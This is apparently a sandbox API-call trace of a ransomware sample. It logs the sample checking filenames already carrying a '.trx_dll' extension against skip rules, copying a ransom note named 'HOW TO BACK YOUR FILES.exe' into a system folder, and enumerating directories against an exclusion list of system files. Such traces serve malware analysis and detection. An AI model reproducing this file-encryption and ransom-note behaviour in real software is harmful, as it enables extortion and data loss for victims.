	[0039.625] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MSOINTL.REST.trx_dll" | out: lpString1="MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll"
	[0039.625] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0039.625] lstrlenW (lpString="Apollon865") returned 10
	[0039.625] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.625] lstrlenW (lpString=".dll") returned 4
	[0039.625] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.625] lstrlenW (lpString=".lnk") returned 4
	[0039.625] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.625] lstrlenW (lpString=".ini") returned 4
	[0039.625] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.625] lstrlenW (lpString=".sys") returned 4
	[0039.625] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.625] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0039.625] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll"
	[0039.625] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0039.625] lstrlenW (lpString="Apollon865") returned 10
	[0039.625] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.625] lstrlenW (lpString=".dll") returned 4
	[0039.625] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.625] lstrlenW (lpString=".lnk") returned 4
	[0039.625] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.625] lstrlenW (lpString=".ini") returned 4
	[0039.625] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.625] lstrlenW (lpString=".sys") returned 4
	[0039.625] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.625] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0039.625] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ONINTL.DLL.trx_dll" | out: lpString1="ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll"
	[0039.625] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0039.625] lstrlenW (lpString="Apollon865") returned 10
	[0039.625] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.625] lstrlenW (lpString=".dll") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.626] lstrlenW (lpString=".lnk") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.626] lstrlenW (lpString=".ini") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.626] lstrlenW (lpString=".sys") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.626] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0039.626] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ONINTL.REST.trx_dll" | out: lpString1="ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll"
	[0039.626] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0039.626] lstrlenW (lpString="Apollon865") returned 10
	[0039.626] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.626] lstrlenW (lpString=".dll") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.626] lstrlenW (lpString=".lnk") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.626] lstrlenW (lpString=".ini") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.626] lstrlenW (lpString=".sys") returned 4
	[0039.626] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.626] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0039.626] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll"
	[0039.626] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0039.626] lstrlenW (lpString="Apollon865") returned 10
	[0039.626] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.626] lstrlenW (lpString=".dll") returned 4
	[0039.626] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.626] lstrlenW (lpString=".lnk") returned 4
	[0039.626] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.626] lstrlenW (lpString=".ini") returned 4
	[0039.626] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.626] lstrlenW (lpString=".sys") returned 4
	[0039.626] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.626] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0039.627] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll"
	[0039.627] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0039.627] lstrlenW (lpString="Apollon865") returned 10
	[0039.627] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.627] lstrlenW (lpString=".dll") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".dll") returned 1
	[0039.627] lstrlenW (lpString=".lnk") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.627] lstrlenW (lpString=".ini") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".ini") returned 1
	[0039.627] lstrlenW (lpString=".sys") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".sys") returned 1
	[0039.627] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0039.627] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll"
	[0039.627] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0039.627] lstrlenW (lpString="Apollon865") returned 10
	[0039.627] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.627] lstrlenW (lpString=".dll") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.627] lstrlenW (lpString=".lnk") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.627] lstrlenW (lpString=".ini") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.627] lstrlenW (lpString=".sys") returned 4
	[0039.627] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.627] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0039.627] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PPINTL.DLL.trx_dll" | out: lpString1="PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll"
	[0039.627] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0039.627] lstrlenW (lpString="Apollon865") returned 10
	[0039.627] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.627] lstrlenW (lpString=".dll") returned 4
	[0039.627] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.627] lstrlenW (lpString=".lnk") returned 4
	[0039.627] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.628] lstrlenW (lpString=".ini") returned 4
	[0039.628] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.628] lstrlenW (lpString=".sys") returned 4
	[0039.628] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.628] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0039.628] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PPINTL.REST.trx_dll" | out: lpString1="PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll"
	[0039.628] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0039.628] lstrlenW (lpString="Apollon865") returned 10
	[0039.628] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.628] lstrlenW (lpString=".dll") returned 4
	[0039.628] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.628] lstrlenW (lpString=".lnk") returned 4
	[0039.628] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.628] lstrlenW (lpString=".ini") returned 4
	[0039.628] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.628] lstrlenW (lpString=".sys") returned 4
	[0039.628] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.628] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0039.628] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll"
	[0039.628] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0039.628] lstrlenW (lpString="Apollon865") returned 10
	[0039.628] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.628] lstrlenW (lpString=".dll") returned 4
	[0039.628] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.628] lstrlenW (lpString=".lnk") returned 4
	[0039.628] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.628] lstrlenW (lpString=".ini") returned 4
	[0039.628] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.628] lstrlenW (lpString=".sys") returned 4
	[0039.628] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.628] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0039.628] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll"
	[0039.628] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0039.629] lstrlenW (lpString="Apollon865") returned 10
	[0039.629] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.629] lstrlenW (lpString=".dll") returned 4
	[0039.629] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.629] lstrlenW (lpString=".lnk") returned 4
	[0039.629] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.629] lstrlenW (lpString=".ini") returned 4
	[0039.629] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.629] lstrlenW (lpString=".sys") returned 4
	[0039.629] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.629] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0039.629] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll"
	[0039.629] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0039.629] lstrlenW (lpString="Apollon865") returned 10
	[0039.629] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.629] lstrlenW (lpString=".dll") returned 4
	[0039.629] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".dll") returned 1
	[0039.629] lstrlenW (lpString=".lnk") returned 4
	[0039.629] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.629] lstrlenW (lpString=".ini") returned 4
	[0039.629] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".ini") returned 1
	[0039.629] lstrlenW (lpString=".sys") returned 4
	[0039.629] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".sys") returned 1
	[0039.629] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0039.629] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="SGRES.DLL.trx_dll" | out: lpString1="SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll"
	[0039.629] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0039.629] lstrlenW (lpString="Apollon865") returned 10
	[0039.629] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.629] lstrlenW (lpString=".dll") returned 4
	[0039.629] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.629] lstrlenW (lpString=".lnk") returned 4
	[0039.629] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.629] lstrlenW (lpString=".ini") returned 4
	[0039.629] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.630] lstrlenW (lpString=".sys") returned 4
	[0039.630] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.630] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0039.630] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="STINTL.DLL.trx_dll" | out: lpString1="STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll"
	[0039.630] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0039.630] lstrlenW (lpString="Apollon865") returned 10
	[0039.630] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.630] lstrlenW (lpString=".dll") returned 4
	[0039.630] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.630] lstrlenW (lpString=".lnk") returned 4
	[0039.630] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.630] lstrlenW (lpString=".ini") returned 4
	[0039.630] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.630] lstrlenW (lpString=".sys") returned 4
	[0039.630] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.630] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0039.630] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll"
	[0039.630] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0039.630] lstrlenW (lpString="Apollon865") returned 10
	[0039.630] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.630] lstrlenW (lpString=".dll") returned 4
	[0039.630] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.630] lstrlenW (lpString=".lnk") returned 4
	[0039.630] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.630] lstrlenW (lpString=".ini") returned 4
	[0039.630] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.630] lstrlenW (lpString=".sys") returned 4
	[0039.630] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.630] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0039.630] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="VISINTL.DLL.trx_dll" | out: lpString1="VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll"
	[0039.630] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0039.630] lstrlenW (lpString="Apollon865") returned 10
	[0039.630] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.631] lstrlenW (lpString=".dll") returned 4
	[0039.631] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.631] lstrlenW (lpString=".lnk") returned 4
	[0039.631] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.631] lstrlenW (lpString=".ini") returned 4
	[0039.631] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.631] lstrlenW (lpString=".sys") returned 4
	[0039.631] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.631] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0039.631] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="WWINTL.DLL.trx_dll" | out: lpString1="WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll"
	[0039.631] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0039.631] lstrlenW (lpString="Apollon865") returned 10
	[0039.631] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.631] lstrlenW (lpString=".dll") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.631] lstrlenW (lpString=".lnk") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.631] lstrlenW (lpString=".ini") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.631] lstrlenW (lpString=".sys") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.631] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0039.631] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="WWINTL.REST.trx_dll" | out: lpString1="WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll"
	[0039.631] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0039.631] lstrlenW (lpString="Apollon865") returned 10
	[0039.631] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.631] lstrlenW (lpString=".dll") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.631] lstrlenW (lpString=".lnk") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.631] lstrlenW (lpString=".ini") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.631] lstrlenW (lpString=".sys") returned 4
	[0039.631] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.631] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0039.632] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll"
	[0039.632] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0039.632] lstrlenW (lpString="Apollon865") returned 10
	[0039.632] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.632] lstrlenW (lpString=".dll") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.632] lstrlenW (lpString=".lnk") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.632] lstrlenW (lpString=".ini") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.632] lstrlenW (lpString=".sys") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.632] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0039.632] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="XLINTL32.REST.trx_dll" | out: lpString1="XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll"
	[0039.632] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0039.632] lstrlenW (lpString="Apollon865") returned 10
	[0039.632] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.632] lstrlenW (lpString=".dll") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0039.632] lstrlenW (lpString=".lnk") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.632] lstrlenW (lpString=".ini") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0039.632] lstrlenW (lpString=".sys") returned 4
	[0039.632] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0039.632] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0039.632] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="XLSLICER.DLL.trx_dll") returned="XLSLICER.DLL.trx_dll"
	[0039.632] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0039.632] lstrlenW (lpString="Apollon865") returned 10
	[0039.632] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.632] lstrlenW (lpString=".dll") returned 4
	[0039.632] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.632] lstrlenW (lpString=".lnk") returned 4
	[0039.633] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.633] lstrlenW (lpString=".ini") returned 4
	[0039.633] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.633] lstrlenW (lpString=".sys") returned 4
	[0039.633] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.633] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0039.633] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Network", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network"
	[0039.633] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0039.633] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0039.633] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network") returned 36
	[0039.633] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Network" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network"
	[0039.633] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.633] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.638] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.638] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.638] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.638] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.638] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.638] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.638] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.638] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.638] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.638] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.638] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="Apollon865.txt.exe") returned 1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2=".") returned 1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="..") returned 1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="windows") returned -1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="bootmgr") returned 1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="temp") returned -1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="pagefile.sys") returned -1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="boot") returned 1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="ids.txt") returned -1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="ntuser.dat") returned -1
	[0039.638] lstrcmpiW (lpString1="Connections", lpString2="perflogs") returned -1
	[0039.639] lstrcmpiW (lpString1="Connections", lpString2="MSBuild") returned -1
	[0039.639] lstrlenW (lpString="Connections") returned 11
	[0039.639] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\*") returned 38
	[0039.639] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Connections" | out: lpString1="Connections") returned="Connections"
	[0039.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0039.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599a78
	[0039.639] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
